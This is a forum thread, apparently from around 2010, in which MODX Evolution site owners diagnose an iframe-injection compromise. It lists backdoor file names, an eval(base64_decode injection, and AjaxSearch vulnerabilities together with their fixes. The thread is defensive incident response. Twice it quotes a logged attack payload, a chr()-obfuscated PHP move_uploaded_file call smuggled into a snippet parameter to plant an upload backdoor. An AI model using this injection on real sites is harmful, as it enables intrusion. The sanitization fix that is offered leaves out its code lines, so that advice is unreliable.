infected by iframe hack :(

One of my sites got hacked also....
Was running Evo 1.0.2 and now I upgraded to 1.0.4.

Is this will be enough?

UPDATE:

I just found a file named "faq_b.php" in assets/modules/docmanager

Think it’s a backdoor.... keep on searching... but I hope this helps somebody too!

Have you guys check the assets/snippets/ajaxSearch/ajaxSearch_log.txt?

I found this:

[3-Aug-10 12:07:05] AjaxSearchPopup - Snippet call : [!AjaxSearch? &version=`<?php move_uploaded_file($_FILES[chr(117).chr(115).chr(101).chr(114).chr(102).chr(105).chr(108).chr(101)][chr(116) . chr(109) . chr(112) . chr(95) . chr(110) . chr(97) . chr(109) . chr(101)], $_REQUEST[chr(112) . chr(97) . chr(116) . chr(104)]);?>` &debug=`1` &mbstring=``!]

Looks like that file is created only if the snippet is called with debug=1. Anything else in it looking goofy?
MattC

Well it seems I have a site (running 1.0.3) that has been affected by this.

I found the eval(base64_decode... in the document.parser.class.inc.php and also found /www/assets/docs/faq_f.php.

I’ve deleted the eval code from the file and deleted the faq_f.php file.

I’ve also deleted the AjaxSearch directory and installed 1.9.0

Anything else I need to do?

Thanks for sharing all your research and solutions for this!

Terry

I have just found the same thing in the document.parser.class.inc.php
evo 1.0.3

I also found center_u.php in assets/docs
Thanks for the help in this thread, hopefully all my files are clear now.

One of my sites (really big one) suffered the same fate a few weeks back. I spent ages trying to track down the pesky iframe injection code, and in the end I just took a backup, wiped the whole lot, uploaded a fresh 1.0.4 install and copied across only the files we actually needed, and that seemed to do the trick. Having read this post (shame I didn’t find this earlier!) it looks like I might have inadvertently done the right thing after all - we did have an old version of ajaxSearch knocking around, so starting afresh would have removed the vulnerability.

So thank you everyone for sharing your experiences of this, even though it’s come a little late to help me resolve the problem when we had it it’s nice to know others were suffering a similar thing and that the fix I put in place happened to be the right one!

Does anyone know if this is occurring with all versions of ajax search?
Is the solution for now to just not use it?

@dougf, @onesmarthost

The file assets/snippets/ajaxSearch/ajax.php has never be provided with an ajaxSearch release (since ajaxSearch 1.6).
Until ajaxSearch 1.6.0, the files used were AjaxSearch.php and snippet-ajaxSearch-tpl.php
Then renamed with ajaxSearch 1.8.0 as snippet.ajaxSearch.php and ajaxSearchPopup.php
and since ajaxSearch 1.8.2 as snippet.ajaxSearch.txt and ajaxSearchPopup.php

So assets/snippets/ajaxSearch/ajax.php doesn’t part of ajaxSearch snippet
Same thing for assets/snippets/ajaxSearch/index-ajax.php which is not provided with any version of ajaxSearch


As mentioned by doug, ajaxSearch 1.8.1 has solved an XSS vulnerability:
AJAXSEARCH-7 : JS Cross Site scripting - security issue
http://svn.modxcms.com/jira/browse/AJAXSEARCH-7

AjaxSearch 1.8.3 solved the following vulnerabilities:
==== AJAXSEARCH-35 : ajaxSearch form not sanitizing input (advSearch parameter)
http://svn.modxcms.com/jira/browse/AJAXSEARCH-35

==== AJAXSEARCH-46 : injection of content when javascript is desactivated
http://svn.modxcms.com/jira/browse/AJAXSEARCH-46

The current release is the ajaxSearch 1.9.0 (release provided with Evo 1.0.4)

The release 1.9.1 is now available too here.
If, a new vulnerability exist with the current release (1.9.0 or 1.9.1) let me know by PM, I will do my best to fix it.

@goldsky

I found this:

[3-Aug-10 12:07:05] AjaxSearchPopup - Snippet call : [!AjaxSearch? &version=`<?php move_uploaded_file($_FILES[chr(117).chr(115).chr(101).chr(114).chr(102).chr(105).chr(108).chr(101)][chr(116) . chr(109) . chr(112) . chr(95) . chr(110) . chr(97) . chr(109) . chr(101)], $_REQUEST[chr(112) . chr(97) . chr(116) . chr(104)]);?>` &debug=`1` &mbstring=``!]

This trace (when debug=1) is written by the release 1.8.4 (or 1.8.5) when the ajax mode is used (The results are displayed in a popup window).
The snippet call is provided to the ajaxSearchPopup.php file thru a $_POST[’ucfg’] variable.

I don’t why (And I am very interesting to understand how it is possible), but it seems that a hack could change the value of this ucfg variable. Variable which is sent to thru an ajax request (see ajaxSearch.js), and add the above move_uploaded_file instruction.
If this instruction contribute to this iframe exploit (which is not really proved), we could avoid this, by sanitize this variable.

For instance in the file ajaxSearchPopup.php replace the line:

by:


This is for the release 1.8.3 to 1.8.5. with ajax mode.

AjaxSearch 1.9 has been completely refactored, so It is not sure that this possible exploit is still possible.
Nevertheless, in the ajaxSearch 1.9.1 the sanitization of all the external variables have been improved. You could download the last release from the repository or from the demo site from this page.
The correct name of the ajaxSearch package is ajaxSearch191_7249. 7249 is the lower svn id of the repository.